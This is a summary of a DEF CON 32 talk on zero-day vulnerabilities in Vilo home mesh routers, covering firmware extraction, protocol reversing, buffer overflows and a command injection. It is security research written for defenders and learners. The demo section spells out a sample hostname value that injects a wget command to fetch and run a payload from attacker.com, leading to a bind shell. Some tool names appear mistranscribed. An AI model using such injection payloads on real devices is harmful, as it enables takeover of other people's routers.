Finding 0days in Vilo Home Routers

Finding 0days in Vilo Home Routers

Speakers: Justin Mott, Ava Petersen

Conference: DEF CON 32

YouTube: https://www.youtube.com/watch?v=IyInMgXj4k4

Overview

This talk, presented by Justin Mott and Ava Petersen from Brigham Young University, delves into the process of discovering multiple zero-day vulnerabilities in Vilo home mesh WiFi routers. The research project, undertaken by a team of university students, aimed to apply offensive security skills to a real-world target, specifically a consumer-grade networking device from a relatively new vendor. Their findings highlight significant security deficiencies in these widely available devices, culminating in the discovery of critical unauthenticated remote code execution (RCE) vulnerabilities.

The speakers meticulously detail their journey, from initial reconnaissance and hardware-level firmware extraction to reverse engineering custom protocols and developing exploits. Their work underscores the often-overlooked security posture of Small Office/Home Office (SOHO) networking equipment, particularly from newer companies that may lack mature security development lifecycle processes. By sharing their methodology and specific technical findings, Mott and Petersen provide valuable insights for both aspiring security researchers and network defenders, demonstrating how fundamental reverse engineering and vulnerability analysis techniques can expose severe risks in everyday technology.

The significance of this research lies not only in the specific vulnerabilities uncovered but also in its broader implications for consumer device security. The project serves as a compelling case study on how a dedicated team, even with limited prior experience in router hacking, can uncover fundamental design flaws that expose millions of users to potential compromise. The pre-authentication RCEs discovered mean that an attacker on the local network could gain complete control over the router without needing any prior credentials, posing a substantial threat to home network integrity and user privacy.

Background

▶ Watch: Talk introduction and project overview (0:00)

The research originated from a desire to apply practical offensive security skills, typically honed in Capture The Flag (CTF) competitions, to a tangible real-world target. The team, comprising Justin Mott, Ava Petersen, Justin Applegate, and Wyatt Pangirl, selected Vilo home mesh WiFi routers manufactured by Vilo Living. This choice was deliberate: Vilo Living, founded in 2021, was a relatively new company with only two mesh router products (supporting WiFi 5 and WiFi 6), and critically, there was no existing public security research, CVEs, or detailed technical breakdowns available. The routers were also readily and cheaply available on platforms like Amazon, making them an accessible target for student researchers.

Unlike many older SOHO routers administered via a web interface, Vilo routers are exclusively managed through a mobile application. This design choice inherently shifted the attack surface and necessitated a different approach to initial reconnaissance and vulnerability discovery. The team attempted to engage with Vilo Living's bug bounty program, which required signing an NDA and joining a beta testing group. However, their requests for the NDA went unanswered, leading them to proceed with their research without formal vendor engagement, effectively "risking it for the biscuit."

The project's overarching goals were clearly defined: first, to acquire the router's firmware to enable white-box testing; second, to achieve an initial shell on the device for easier debugging and further analysis; and third, to identify as many pre-authentication remote code execution (RCE) vulnerabilities as possible, which represents the "holy grail" for attackers as it allows for arbitrary code execution without prior authentication. The absence of publicly available firmware meant the team had to physically extract it, adding a significant initial hurdle to their research.

Key Findings

▶ Watch: Successful firmware extraction using Sale Logic analyzer (3:20)

The research team successfully uncovered a series of critical vulnerabilities in Vilo home mesh WiFi routers, demonstrating a concerning lack of fundamental security practices in the device's design. Their key findings include:

1. Successful Firmware Extraction and Emulation: Despite the firmware not being publicly available, the team managed to extract it directly from the flash memory chip using a Sale Logic analyzer to capture SPI data. This crucial step enabled white-box analysis. Furthermore, they successfully emulated the 32-bit little-endian MIPS firmware on standard X86/ARM machines using QEMU, CH root, and GDB breakpoints, significantly streamlining their vulnerability research and exploit development process.

1. Initial Shell via Blind Authenticated Command Injection: The team gained their first root shell after two months of persistent effort. This was achieved by reverse engineering the Vilo Android application (APK), which revealed a custom service running on TCP port 5432. Within the sysconf binary, executed at boot, they discovered a blind authenticated command injection vulnerability. This flaw allowed for the manipulation of the router's hostname, which was then directly piped into a system() function as part of a UDHCP bash command. This vulnerability was leveraged to download and execute a multi-stage payload, ultimately establishing a compiled C bind shell accessible via Netcat.

1. Discovery of an Unauthenticated Local Service with Critical Flaws: The most impactful discovery was the custom service operating on TCP port 5432. While initially designed for local app-to-router interactions during setup (when internet access is unavailable), this service remained active and completely unauthenticated even after the router was connected to the internet. The service used a custom protocol with a 15-byte header and payloads often encrypted with XXTEA and an additional obfuscation layer. The hardcoded, obfuscated key in the mobile app was reversible, allowing the researchers to generate their own keys and interact with the protocol at will.

1. Multiple Pre-Authentication Remote Code Execution Vulnerabilities: Due to the lack of authentication in the service on port 5432, several underlying vulnerabilities became exploitable without any credentials, effectively turning them into unauthenticated RCEs. The team identified:

• Four buffer overflows, all rated as 9.6 criticals.
• An information leak.
• The speakers specifically mentioned the local_app_set_router_token function (opcode 0x3E), which processes an encrypted JSON object for updating a token and timezone, as the location of one such buffer overflow.
• CVE numbers for these vulnerabilities have been reserved through MITRE.

These findings collectively paint a picture of significant security shortcomings, transforming what might have been authenticated local exploits into easily accessible pre-authentication RCEs for anyone on the local network, including a guest connected to the WiFi.

Technical Deep Dive

▶ Watch: Custom app-router service and command injection vulnerability (4:45)

The technical journey began with the fundamental challenge of acquiring the router's firmware, a prerequisite for white-box security testing. Since the vendor did not provide firmware downloads, the team resorted to hardware-level extraction. Initial attempts with software utilities proved fruitless, yielding only corrupted data. The breakthrough came with the use of a Sale Logic analyzer. By physically connecting the analyzer to the router's flash memory chip and powering on the device, they were able to capture the raw Serial Peripheral Interface (SPI) data as the firmware was read during boot. This data, visually represented as waveforms in the Sale Logic software, was then processed using custom Python scripts to reconstruct the complete binary firmware image. This process, though initially daunting, ultimately took only about two hours once the correct hardware setup was established, following a month of unsuccessful alternative methods.

With the firmware in hand, the next step was to gain shell access for dynamic analysis and debugging. Prior to firmware extraction, the team attempted to leverage UART pins for a direct console connection. This endeavor proved challenging; their first router was unfortunately bricked during the delicate soldering process. A second router provided more amenable pins, allowing for a successful connection and display of a Linux login screen. However, this path was also blocked as the password was unknown and complex, and critically, the UART interface would die after only 30 seconds post-boot, preventing any meaningful interaction or brute-force attempts.

The pivotal breakthrough for initial shell access came from reverse engineering the Vilo mobile application. The team pulled the APK from Google Play and, despite some team members finding mobile reverse engineering tedious, successfully uncovered a custom service running on TCP port 5432. This service was designed for app-to-router interactions, particularly during the initial setup phase when the router might not have internet access. Analysis of the app's code revealed that this service utilized a custom communication protocol.

The custom protocol itself consisted of a 15-byte header followed by a variable payload. Many of these payloads were not plaintext but encrypted using a combination of XXTEA and a custom obfuscation layer. The app contained a hardcoded, obfuscated key, which was then used to negotiate a new key with the router. Crucially, the researchers were able to reverse engineer this key exchange mechanism, allowing them to generate their own keys and craft valid messages to interact with the service. This ability to speak the custom protocol was fundamental to discovering and exploiting vulnerabilities.

The first shell was achieved through a blind authenticated command injection vulnerability found within the sysconf binary, which runs during the router's boot process. This binary was observed to format a UDHCP bash command, incorporating several variables, including the router's hostname. Critically, this entire command string was then piped directly into the system() function without proper sanitization. By manipulating the router's hostname through an authenticated channel (initially, via the mobile app), the researchers could inject arbitrary commands. Their exploit chain involved injecting a command that downloaded and executed a primary payload. This primary payload, in turn, downloaded and executed a compiled C bind shell, which then allowed them to connect via Netcat and gain a root shell on the device.

To facilitate further vulnerability research and exploit development, the team established a firmware emulation environment. Given that the Vilo routers utilize a 32-bit little-endian MIPS processor, and most research machines are X86 or ARM-based, native execution was not possible. They addressed this by using QEMU, a generic and open-source machine emulator, compiled statically. This was combined with CH root to create an isolated environment and GDB breakpoints, derived from prior reverse engineering work in Ghidra, to effectively debug and interact with the emulated firmware. This setup significantly accelerated the process of testing payloads and understanding binary behavior.

Vulnerability analysis was performed primarily through manual code analysis using Ghidra, a software reverse engineering suite. The closed-source nature of the MIPS binaries and the team's limited prior experience with fuzzing MIPS binaries led them to favor this hands-on approach. Decompiling the binaries in Ghidra allowed them to inspect the code logic, identify potential insecure functions, and trace data flow, which led to the discovery of multiple memory corruption issues.

The most severe aspect of their findings revolved around the lack of authentication in the custom service on TCP port 5432. While it was initially intended for local setup, the service remained active and accessible to any device on the local area network (LAN) throughout the router's operation, regardless of internet connectivity. Because the custom protocol's encryption keys were reversible and authentication was absent, any device on the LAN could interact with this service as if it were the legitimate mobile app. This meant that any vulnerability found within the functions exposed by this service—including the four identified buffer overflows and the information leak—could be exploited without any prior authentication, effectively turning them into unauthenticated Remote Code Execution (RCE) vulnerabilities. An example mentioned was a buffer overflow in the local_app_set_router_token function, triggered by opcode 0x3E, which processes encrypted JSON objects for token and timezone updates. The ability for any local attacker to control critical router functions, such as changing the SSID or password, rebooting the device, or exploiting RCEs, without any credentials, represents a profound security failure.

Demo / Proof of Concept

▶ Watch: Executing payload and gaining first root shell (5:05)

While the speakers did not present a live, step-by-step demonstration during the talk, their narrative implicitly served as a detailed proof-of-concept for achieving initial shell access and uncovering subsequent vulnerabilities. The process they described for gaining their first shell on the Vilo router functions as a compelling demonstration of the exploit chain.

The core of this proof-of-concept involved leveraging a blind authenticated command injection vulnerability. This flaw was discovered in the sysconf binary, which is executed upon router boot. The sysconf binary was observed to construct a UDHCP bash command by concatenating various system variables, including the router's hostname, and then directly passing this entire string to the system() function.

The demonstration of this vulnerability would entail:

1. Authenticated Hostname Manipulation: An attacker, initially with authenticated access (e.g., via the legitimate mobile app, or by having previously gained local access through other means), would modify the router's hostname to include specially crafted shell metacharacters and commands. For instance, hostname='evil_name; wget http://attacker.com/payload1.sh -O /tmp/payload1.sh; chmod +x /tmp/payload1.sh; /tmp/payload1.sh;'.
2. Triggering Execution: Upon the router's next boot or a specific configuration reload, the sysconf binary would execute, incorporating the malicious hostname into the UDHCP command. The system() call would then execute the injected commands.
3. Multi-Stage Payload Delivery: The initial injected command (e.g., wget) would download a first-stage payload script (payload1.sh) to the router's /tmp directory.
4. Second-Stage Execution and Bind Shell: payload1.sh would then execute, downloading a more robust, compiled C bind shell binary. This bind shell would be launched, listening on a specific TCP port on the router.
5. Remote Access: Finally, the attacker would use Netcat (or a similar tool) from their machine to connect to the router's IP address on the bind shell's port, thereby establishing a persistent root shell on the compromised device.

Furthermore, the discovery of the unauthenticated custom service on TCP port 5432 dramatically escalated the impact of these findings. Once the custom protocol was reverse engineered and the encryption keys derived, the researchers could craft arbitrary messages to the service. This meant that the four buffer overflows and the information leak vulnerabilities they identified, which were initially considered authenticated exploits, could now be triggered by any unauthenticated device on the local network. This effectively transformed them into unauthenticated Remote Code Execution (RCE) vulnerabilities, allowing full control over the router without any prior credentials, simply by sending a malformed packet to port 5432. This represents the ultimate proof-of-concept for a critical zero-day vulnerability in a SOHO device.

Defensive Implications

▶ Watch: Vulnerability discovery method: Manual code analysis (6:00)

The findings from the Vilo router research underscore a critical and pervasive issue within the SOHO device ecosystem: a significant lack of robust security practices, particularly from newer vendors. For network defenders, these discoveries highlight several key areas requiring immediate attention and long-term strategic adjustments.

Firstly, the prevalence of unauthenticated critical services on the local network is a severe design flaw. Manufacturers must implement strong authentication mechanisms for all network services, even those intended for local-only interaction or initial setup. Services that handle sensitive configurations or execute system commands should never operate without proper authorization. Defenders should segment their networks where possible, isolating untrusted devices from critical infrastructure like routers, and actively scan for unusual open ports or services on their SOHO devices.

Secondly, the discovery of multiple buffer overflows and command injection vulnerabilities points to a fundamental failure in input validation and secure coding practices. Vendors need to adopt a Secure Development Lifecycle (SDL) that includes thorough code review, static and dynamic analysis, and comprehensive testing for common vulnerability classes. For defenders, this means exercising caution when deploying devices from new or unproven vendors. Prioritizing devices from manufacturers with established security track records, transparent vulnerability disclosure policies, and prompt patch cycles is crucial.

Thirdly, the difficulty in obtaining firmware and the vendor's unresponsiveness to bug bounty inquiries are red flags. Manufacturers should provide easily accessible firmware updates and engage proactively with the security research community through well-defined bug bounty programs or responsible disclosure channels. This transparency allows for vulnerabilities to be identified and patched before they can be exploited in the wild. As a defender, if a vendor is difficult to engage with on security matters, it's a strong indicator that their products may carry unaddressed risks.

Finally, the ability to extract firmware via hardware means that physical access to a device can often bypass software-level protections. While this is a more advanced attack vector, it emphasizes the importance of physical security for network devices. Furthermore, the successful emulation of the MIPS firmware using QEMU highlights that once firmware is acquired, it can be thoroughly analyzed offline. This means that even if a device is offline or behind a firewall, its vulnerabilities can still be discovered and weaponized.

In summary, defenders should be acutely aware that many SOHO routers, especially those from less mature companies, may harbor critical, easily exploitable vulnerabilities. Best practices include:

• Network Segmentation: Isolate guest networks and IoT devices from primary networks.
• Regular Updates: Ensure router firmware is always up-to-date, though this is challenging if vendors don't provide updates.
• Vendor Due Diligence: Research a vendor's security posture and history before purchasing.
• Monitor for Anomalies: Keep an eye on network traffic for unusual activity originating from or directed at the router.
• Consider Alternatives: For critical networks, invest in more robust, enterprise-grade networking equipment with stronger security features and vendor support.

Key Takeaways

• New SOHO router vendors often neglect basic security: Vilo Living, a relatively new company, demonstrated a lack of fundamental security practices, leading to severe vulnerabilities in their home mesh routers.
• Hardware analysis is crucial for firmware extraction: When vendors do not provide firmware, techniques like using a Sale Logic analyzer to capture SPI data directly from flash memory chips are essential for enabling white-box security research.
• Mobile app reverse engineering reveals hidden attack surfaces: Analyzing companion mobile applications (APKs) can uncover custom services and protocols, like the unauthenticated service on TCP port 5432 in Vilo routers, which are not immediately obvious.
• Lack of authentication on local services dramatically escalates vulnerability severity: An unauthenticated service on the LAN, even if intended for local setup, can turn authenticated vulnerabilities (like buffer overflows and command injections) into easily exploitable unauthenticated Remote Code Execution (RCE) flaws.
• Manual code analysis (Ghidra for MIPS) remains a powerful technique: Despite the challenges of closed-source, MIPS binaries, meticulous manual reverse engineering in tools like Ghidra can effectively uncover critical memory corruption and logic vulnerabilities.
• Firmware emulation (QEMU) is vital for efficient vulnerability research: Setting up an emulation environment using QEMU with CH root and GDB breakpoints significantly streamlines the process of testing exploits and understanding binary behavior on non-native architectures.

About the Speaker(s)

The research was conducted by a team of dedicated students from Brigham Young University. Justin Mott, one of the presenters, is a graduate student at BYU and goes by the handle Kester Burris. Ava Petersen, the other presenter, is an undergraduate student at BYU and is known by her handle Delta Bluejay. They were joined by Justin Applegate, a rising graduate student at BYU who uses the handle Lego Clones and is an avid CTFer, playing for Project Sekai and the US Cyber team. The team's fourth invaluable member was Wyatt Pangirl, who recently graduated from BYU and goes by Spouting Whale, though he was not able to attend the DEF CON presentation. Their collaborative effort, leveraging academic environments and personal passion for security, led to the significant discoveries presented in this talk.